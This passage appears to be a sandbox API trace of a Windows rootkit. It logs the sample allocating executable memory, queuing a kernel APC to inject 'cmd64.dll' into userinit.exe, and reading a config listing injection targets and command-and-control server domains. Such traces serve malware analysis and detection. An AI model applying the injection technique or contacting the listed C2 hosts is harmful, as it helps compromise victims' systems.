Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.066] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.066] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.067] IdePortDispatch () returned 0x103 [0088.067] KeWaitForMutexObject () returned 0x0 [0088.067] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.067] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.067] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.067] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.067] IdePortDispatch () returned 0x103 [0088.067] KeWaitForMutexObject () returned 0x0 [0088.067] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.067] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.067] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.067] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.067] IdePortDispatch () returned 0x103 [0088.067] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.067] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.067] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.067] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.067] IdePortDispatch () returned 0x103 [0088.068] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.068] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.068] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.068] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.068] IdePortDispatch () returned 0x103 [0088.068] KeWaitForMutexObject () returned 0x0 [0088.068] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.068] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.068] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.068] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.068] IdePortDispatch () returned 0x103 [0088.068] KeWaitForMutexObject () returned 0x0 [0088.068] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.068] KeLeaveCriticalRegion () [0088.068] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0088.068] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800004bc, BaseAddress=0xfffff88002f9dae0, ZeroBits=0x0, RegionSize=0xfffff88002f9d9f0, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f9dae0*=0x10000, RegionSize=0xfffff88002f9d9f0*=0x14000) returned 0x0 [0088.068] RtlImageNtHeader (BaseAddress=0x10000) returned 0x10040 [0088.069] RtlImageDirectoryEntryToData (in: BaseAddress=0x10000, MappedAsImage=1, Directory=0x5, Size=0xfffff88002f9dad8 | out: Size=0xfffff88002f9dad8) returned 0x0 [0088.069] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800004bc, BaseAddress=0xfffff88002f9dae8, ZeroBits=0x0, RegionSize=0xfffff88002f9d9f8, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f9dae8*=0x50000, RegionSize=0xfffff88002f9d9f8*=0x1000) returned 0x0 [0088.069] _snprintf (in: _Dest=0x50020, _Count=0x103, _Format="\\\\?\\globalroot%S" | out: _Dest="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 49 [0088.069] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa80036f82c0 [0088.069] KeInitializeApc (Apc=0xfffffa80036f82c0, Thread=0xfffffa80037da800, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027ca950, RundownRoutine=0x0, NormalRoutine=0x50128, Mode=0xfffff88000000001, Context=0x50000) [0088.069] KeInsertQueueApc (Apc=0xfffffa80036f82c0, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0088.069] ZwUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x7fffffa0000) returned 0x0 [0088.069] ZwClose (Handle=0x14) returned 0x0 [0088.069] ZwClose (Handle=0xffffffff800004b0) returned 0x0 [0088.069] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0088.069] KeEnterCriticalRegion () [0088.069] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.069] IoGetRequestorProcess (Irp=0xfffffa80037c7bb0) returned 0xfffffa80018ab040 [0088.069] FsRtlFastUnlockAll (FileLock=0xfffffa80027db068, FileObject=0xfffffa80037deaa0, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0xc000007e [0088.069] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.069] KeLeaveCriticalRegion () [0088.069] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0088.069] KeUnstackDetachProcess (ApcState=0xfffff88002f9da58) [0088.069] PsGetProcessImageFileName () returned 0xfffffa80037e0ae0 [0088.069] _snprintf (in: _Dest=0xfffffa80037e1b68, _Count=0x103, _Format="%s (x64)" | out: _Dest="userinit.exe (x64)") returned 18 [0088.069] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0088.069] ZwCreateFile (in: FileHandle=0xfffff88002f9db18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f9d7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9d7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f9db18*=0xffffffff800004b0, IoStatusBlock=0xfffff88002f9d7a0) returned 0x0 [0088.069] _snprintf (in: _Dest=0xfffff88002f9cf10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0088.069] KeEnterCriticalRegion () [0088.069] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.069] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.069] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.069] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.069] KeInitializeEvent (in: Event=0xfffff88002f9cd80, Type=0x0, State=0 | out: Event=0xfffff88002f9cd80) [0088.069] IdePortDispatch () returned 0x103 [0088.069] KeWaitForMutexObject () returned 0x0 [0088.069] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0088.069] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0088.070] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0088.070] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0088.070] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037d9cb0 [0088.070] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.070] KeLeaveCriticalRegion () [0088.070] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0088.070] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880, ZeroBits=0x0, RegionSize=0xfffff88002f9d888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888*=0x1000) returned 0x0 [0088.070] NtLockFile (in: FileHandle=0xffffffff800004b0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0088.070] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0088.070] KeEnterCriticalRegion () [0088.070] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.070] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80037c7bb0, Context=0x0) returned 0x0 [0088.070] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.070] KeLeaveCriticalRegion () [0088.070] ZwQueryInformationFile (in: FileHandle=0xffffffff800004b0, IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0) returned 0x0 [0088.070] _snprintf (in: _Dest=0xfffff88002f9d250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0088.070] KeEnterCriticalRegion () [0088.070] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.070] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.070] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.070] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.070] KeInitializeEvent (in: Event=0xfffff88002f9d0e0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0e0) [0088.070] IdePortDispatch () returned 0x103 [0088.070] KeWaitForMutexObject () returned 0x0 [0088.070] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0088.070] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.070] KeLeaveCriticalRegion () [0088.070] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0088.070] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x1b5) returned 0xfffff8a001470b40 [0088.070] _snprintf (in: _Dest=0xfffff88002f9d9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0088.070] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0088.070] _snprintf (in: _Dest=0xfffff88002f9d8c0, _Count=0x104, _Format="%s=" | out: _Dest="userinit.exe (x64)=") returned 19 [0088.070] _strlwr (in: _Str="userinit.exe (x64)=" | out: _Str="userinit.exe (x64)=") returned="userinit.exe (x64)=" [0088.070] ZwReadFile (in: FileHandle=0xffffffff800004b0, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a001470b40, BufferLength=0x1b4, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a001470b40*) returned 0x0 [0088.070] _snprintf (in: _Dest=0xfffff88002f9d230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0088.070] KeEnterCriticalRegion () [0088.070] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.070] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bedb40 [0088.070] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.070] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa8008136f40 [0088.071] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8008136f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8008136f40) [0088.071] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0088.071] IdePortDispatch () returned 0x103 [0088.071] KeWaitForMutexObject () returned 0x0 [0088.071] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0088.071] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.071] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa8008136f40 [0088.071] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8008136f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8008136f40) [0088.071] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0088.071] IdePortDispatch () returned 0x103 [0088.071] KeWaitForMutexObject () returned 0x0 [0088.071] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.071] KeLeaveCriticalRegion () [0088.071] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0088.071] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\nrnd=2040373303\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n" [0088.071] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="userinit.exe (x64)=") returned 0x0 [0088.071] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888, FreeType=0x8000) returned 0x0 [0088.071] ExFreePoolWithTag (P=0xfffff8a001470b40, Tag=0x0) [0088.071] ZwClose (Handle=0xffffffff800004b0) returned 0x0 [0088.071] _snprintf (in: _Dest=0xfffff88002f9d310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0088.071] KeEnterCriticalRegion () [0088.071] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.071] IoGetRequestorProcess (Irp=0xfffffa80037c7bb0) returned 0xfffffa80018ab040 [0088.071] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa80037d9860, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0088.071] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.071] KeLeaveCriticalRegion () [0088.071] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0088.071] _snprintf (in: _Dest=0xfffff88002f9d330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0088.071] KeEnterCriticalRegion () [0088.071] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.071] ExFreePoolWithTag (P=0xfffffa80037d9cb0, Tag=0x0) [0088.071] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.072] KeLeaveCriticalRegion () [0088.072] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0088.072] ZwClose (Handle=0xffffffff800004bc) returned 0x0 [0088.072] KeSetEvent (in: Event=0xfffffa80037e1840, Increment=0x0, Wait=0 | out: Event=0xfffffa80037e1840) returned 0 [0088.210] ZwOpenProcess (in: ProcessHandle=0xfffff88002f9db70, DesiredAccess=0x1fffff, ObjectAttributes=0xfffff88002f9db30*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88002f9db20*(UniqueProcess=0x140, UniqueThread=0x0) | out: ProcessHandle=0xfffff88002f9db70*=0xffffffff800004b0) returned 0x0 [0088.210] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0088.210] ZwCreateFile (in: FileHandle=0xfffff88002f9db18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f9d7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9d7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f9db18*=0xffffffff800004bc, IoStatusBlock=0xfffff88002f9d7a0) returned 0x0 [0088.210] _snprintf (in: _Dest=0xfffff88002f9cf10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0088.211] KeEnterCriticalRegion () [0088.211] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.211] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.211] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.211] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.211] KeInitializeEvent (in: Event=0xfffff88002f9cd80, Type=0x0, State=0 | out: Event=0xfffff88002f9cd80) [0088.211] IdePortDispatch () returned 0x103 [0088.211] KeWaitForMutexObject () returned 0x0 [0088.211] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0088.211] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0088.211] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0088.211] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0088.211] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003715cd0 [0088.211] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.211] KeLeaveCriticalRegion () [0088.211] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0088.211] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880, ZeroBits=0x0, RegionSize=0xfffff88002f9d888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888*=0x1000) returned 0x0 [0088.211] NtLockFile (in: FileHandle=0xffffffff800004bc, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0088.211] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0088.211] KeEnterCriticalRegion () [0088.211] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.211] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80037c7bb0, Context=0x0) returned 0x0 [0088.211] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.211] KeLeaveCriticalRegion () [0088.211] ZwQueryInformationFile (in: FileHandle=0xffffffff800004bc, IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0) returned 0x0 [0088.211] _snprintf (in: _Dest=0xfffff88002f9d250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0088.211] KeEnterCriticalRegion () [0088.211] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.211] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.211] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.211] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.211] KeInitializeEvent (in: Event=0xfffff88002f9d0e0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0e0) [0088.211] IdePortDispatch () returned 0x103 [0088.212] KeWaitForMutexObject () returned 0x0 [0088.212] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0088.212] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.212] KeLeaveCriticalRegion () [0088.212] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0088.212] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x1b5) returned 0xfffff8a001473190 [0088.212] _snprintf (in: _Dest=0xfffff88002f9d9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0088.212] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0088.212] _snprintf (in: _Dest=0xfffff88002f9d8c0, _Count=0x104, _Format="%s=" | out: _Dest="* (x64)=") returned 8 [0088.212] _strlwr (in: _Str="* (x64)=" | out: _Str="* (x64)=") returned="* (x64)=" [0088.212] ZwReadFile (in: FileHandle=0xffffffff800004bc, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a001473190, BufferLength=0x1b4, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a001473190*) returned 0x0 [0088.212] _snprintf (in: _Dest=0xfffff88002f9d230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0088.212] KeEnterCriticalRegion () [0088.212] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.212] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035b6190 [0088.212] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.212] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa8008136f40 [0088.212] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8008136f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8008136f40) [0088.212] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0088.212] IdePortDispatch () returned 0x103 [0088.212] KeWaitForMutexObject () returned 0x0 [0088.212] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0088.212] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.212] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa8008136f40 [0088.212] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8008136f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8008136f40) [0088.212] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0088.212] IdePortDispatch () returned 0x103 [0088.212] KeWaitForMutexObject () returned 0x0 [0088.213] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.213] KeLeaveCriticalRegion () [0088.213] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0088.213] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\nrnd=2040373303\r\n[inject]\r\n*=cmd.dll\r\n* 